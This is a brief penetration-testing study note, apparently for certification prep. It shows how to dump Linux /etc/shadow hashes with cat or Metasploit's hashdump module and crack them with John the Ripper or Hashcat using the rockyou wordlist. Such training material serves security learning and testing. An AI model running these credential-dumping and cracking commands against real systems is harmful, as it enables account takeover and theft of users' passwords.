Linux password hash dumping & cracking
Dump /etc/shadow hashes from a root session and crack them with John or Hashcat.
bash·1 min read··INE Certification
Linux stores user account info in /etc/passwd and hashed passwords in /etc/shadow that is root only. Dumping shadow hashes requires root access making this a post-escalation step.
Manual dump
cat /etc/shadow
cat /etc/passwdThe shadow file format: username:$hash_type$salt$hash:.... Hash-type prefix tells you the algorithm:
| Prefix | Algorithm |
|---|---|
$1$ | MD5 (fast to crack) |
$2$ | Blowfish |
$5$ | SHA-256 |
$6$ | SHA-512 (default on most modern distros) |
$y$ | yescrypt |
Metasploit
use post/linux/gather/hashdump
set SESSION <id>
run
use auxiliary/analyze/crack_linux # crack what is on the MSF DBJohn the Ripper
john --format=sha512crypt shadow.txt --wordlist=/usr/share/wordlists/rockyou.txtHashcat
hashcat --help | grep 1800
hashcat -a 0 -m 1800 shadow_hashes.txt /usr/share/wordlists/rockyou.txtRelated
- John the Ripper: CPU-based hash cracking: format-aware cracking used above
- Hashcat: GPU-accelerated hash cracking: faster cracking when a GPU is available
- Windows hash dumping and pass-the-hash: the Windows equivalent, where cracking is optional
- Linux post-exploitation and persistence: broader workflow this step fits into